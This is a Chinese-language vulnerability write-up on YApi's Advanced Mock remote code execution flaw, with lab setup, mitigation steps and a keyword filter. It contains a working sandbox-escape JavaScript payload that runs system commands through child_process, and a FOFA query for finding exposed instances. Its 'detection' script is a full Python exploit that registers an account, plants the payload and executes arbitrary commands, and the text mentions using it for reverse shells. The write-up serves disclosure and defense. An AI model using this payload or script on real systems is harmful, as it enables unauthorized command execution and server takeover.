前言
Yapi 由 YMFE开源,旨在为开发、产品、测试人员提供更优雅的接口管理服务,可以帮助开发者轻松创建、发布、维护API。安全人员在Yapi官方Github仓库提交了漏洞issues,地址为: https://github.com/YMFE/yapi/issues/2233。
Yapi部署教程
使用Docker构建Yapi(Ubuntu环境)。
启动mongodb。
docker run -d --name mongo-yapi -p 27017:27017 mongo
获取 Yapi 镜像,版本信息可在 阿里云镜像仓库查看
docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi
自定义配置文件挂载到目录/api/config.json,宿主机/config/config.json 内容为以下代码:
{
"port": "3000",
"adminAccount": "admin@qq.com",
"db": {
"servername": "mongo-yapi",
"DATABASE": "yapi",
"port": 27017
},
"mail": {
"enable": true,//邮件通知
"host": "smtp.qq.com",//邮箱服务器
"port": 465,
"from": "admin@qq.com",//发件人邮箱
"auth": {
"user": "adminadmin@qq.com",//邮箱服务器账号
"pass": "123456"//邮箱服务器密码
}
}
}
初始化Yapi数据库索引及管理员账号。
docker run -it --rm \
-v /config/config.json:/api/config.json \
--link mongo-yapi:mongo \
--entrypoint npm \
--workdir /api/vendors \
registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
run install-server
启动Yapi服务。
docker run -d \
-v /config/config.json:/api/config.json \
--name yapi \
--link mongo-yapi:mongo \
--workdir /api/vendors \
-p 3000:3000 \
registry.cn-hangzhou.aliyuncs.com/anoy/yapi \
server/app.js
访问http://localhost:3000登录账号admin@qq.com,密码 123456。
漏洞利用
利用前提为Yapi开启了注册功能,打开靶机地址,注册一个账号。
添加一个项目。
进入项目内添加一个接口。
点击高级Mock,并打开脚本页面,开启脚本,输入Mock脚本。
脚本内容:
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson = process.mainModule.require("child_process").execSync("whoami").toString()
点击保存,打开预览界面。访问Mock地址即可执行命令。
可执行反弹Shell等操作。
FOFA搜索语句:icon_hash="-715193973"
检测脚本
该检测脚本为土司大佬:deep0n发布。
# -*- coding: utf-8 -*- import json import requests import argparse group_id = '' project_id = '' catid = '' flag=1 def reg(gurl): global flag url = gurl + "/api/user/reg" header = { 'Content-Type': 'application/json;charset=utf-8' } data = '{"email":"zxcc@zxcc.com","password":"zxcczxcc","username":"zxcc"}' rego = requests.post(url=url, headers=header, data=data) # print(rego.text) if str(400) in rego.text: flag = 0 session = requests.Session() def login(gurl): url = gurl + "/api/user/login" header = { 'Content-Type': 'application/json;charset=utf-8' } data = '{"email":"zxcc@zxcc.com","password":"zxcczxcc"}' logingo = session.post(url=url, headers=header, data=data) # print(logingo.text) # print(session.__dict__) def add(gurl): global group_id, project_id, catid header = { 'Content-Type': 'application/json;charset=utf-8' } turl = gurl + "/api/group/get_mygroup" t1 = session.get(url=turl) group_id = json.loads(t1.text)['data']['_id'] url1 = gurl + "/api/project/add" data1 = '{"name":"1","basepath":"/1","group_id":"' + str( group_id) + '","icon":"code-o","color":"green","project_type":"private"}' add1 = session.post(url=url1, headers=header, data=data1) turl2 = gurl + "/api/project/list?group_id=" + str(group_id) + "&page=1&limit=10" t2 = session.get(url=turl2) project_id = json.loads(t2.text)['data']['list'][0]['_id'] turl3 = gurl + "/api/interface/list_menu?project_id=" + str(project_id) + "" t3 = session.get(url=turl3) catid = json.loads(t3.text)['data'][0]['_id'] url2 = gurl + "/api/interface/add" data2 = '{"method":"GET","catid":"' + str(catid) + '","title":"1","path":"/1","project_id":' + str(project_id) + '}' # print(data1) add2 = session.post(url=url2, headers=header, data=data2) # print(add1.text) # print(add2.text) def run(gurl, exec): turl = gurl + "/api/interface/list?page=1&limit=20&project_id=" + str(project_id) + "" t1 = session.get(url=turl) interface_id = json.loads(t1.text)['data']['list'][0]['_id'] url = gurl + "/api/plugin/advmock/save" data = '''{"project_id":"''' + str(project_id) + '''","interface_id":"''' + str( interface_id) + '''","mock_script":"const sandbox = this\\nconst ObjectConstructor = this.constructor\\nconst FunctionConstructor = ObjectConstructor.constructor\\nconst myfun = FunctionConstructor('return process')\\nconst process = myfun()\\nmockJson = process.mainModule.require(\\"child_process\\").execSync(\\"''' + exec + '''\\").toString()","enable":true}''' header = { 'Content-Type': 'application/json;charset=utf-8' } cmd = session.post(url=url, data=data, headers=header) # print(cmd.text) result = requests.get(url=gurl + "/mock/" + str(project_id) + "/1/1") print(result.text) if __name__ == '__main__': parser = argparse.ArgumentParser(description="Yapi RCE , need register mode open") parser.add_argument('-u', '--url') parser.add_argument('-e', '--exec', default='whoami & ifconfig || ipconfig') args = parser.parse_args() gurl = str(args.url).rstrip('/') exec = args.exec if args.url : # print(gurl) reg(gurl) if flag: login(gurl) add(gurl) run(gurl, exec) else: print('Not support register !') else: print('Need The Target,please add -h / --help') # print(group_id, project_id, catid, '123')
修复建议
目前官方暂未针对该漏洞发布修复方案,请受影响的用户参考下列措施进行防护:
1、关闭YAPI用户注册功能
在 config.json 中添加以下配置项,禁止用户注册或启用LDAP认证:
{ "closeRegister":true }
修改完成后,重启 YAPI 服务生效。
2、关闭YAPI Mock功能
1)、在config.json中新增mock: false参数:
{ ... "mock": false, }
2)、在exts/yapi-plugin-andvanced-mock/server.js文件中找到:
if (caseData && caseData.case_enable) {...}
并添加下列代码:
if(!yapi.WEBCONFIG.mock) { return false; }
3、对高级Mock功能进行关键字过滤
在/server/utils/commons.js文件中找到:
sandbox = yapi.commons.sandbox(sandbox, script);
并添加下列代码:
const filter = '/process|exec|require/g'; const reg = new RegExp(filter, "g"); if(reg.test(script)) { return false; }
4、对YAPI平台的访问进行限制
5、修改管理员默认账号口令,清除弱口令。